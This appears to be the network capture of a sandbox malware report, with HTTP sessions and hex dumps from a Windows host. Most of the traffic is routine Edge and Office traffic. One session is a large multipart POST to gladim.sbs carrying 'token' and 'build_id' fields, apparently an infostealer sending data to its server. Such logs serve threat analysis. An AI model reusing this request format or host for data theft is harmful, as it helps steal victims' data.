2024-12-02 00:34:46 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: aace6fcc-001e-0028-6151-441fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f7845968cpnpfhC1EWR3afc000000139000000000c2fg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:46 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49874	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:46 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: d7807369-701e-004a-1551-445860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f7845968px8v7hC1EWR08ng000000141g000000000nsk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:46 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49875	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:45 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:46 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: cd7b5863-801e-005f-6b51-449af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003445Z-174f7845968n2hr8hC1EWR9cag000000138000000000hw88 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:46 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49878	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 00:34:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:47 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C523_SN1 x-ms-request-id: f72af0d6-f89d-49f8-a61e-595d470acdba PPServer: PPV: 30 H: SN1PEPF0002F153 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:47 GMT Connection: close Content-Length: 11390
2024-12-02 00:34:47 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003447Z-174f78459685m244hC1EWRgp2c00000013g000000000ccky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1fbe2e95-401e-0083-4bb4-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003447Z-174f7845968glpgnhC1EWR7uec00000013sg00000000hbcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003447Z-174f7845968psccphC1EWRuz9s000000141g000000000ezt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: f7ef784b-001e-0066-274f-44561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003447Z-174f7845968cpnpfhC1EWR3afc00000013d0000000002mh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49884	94.130.210.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------ECBGCGCGIEGCBFHIIEBFCont
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
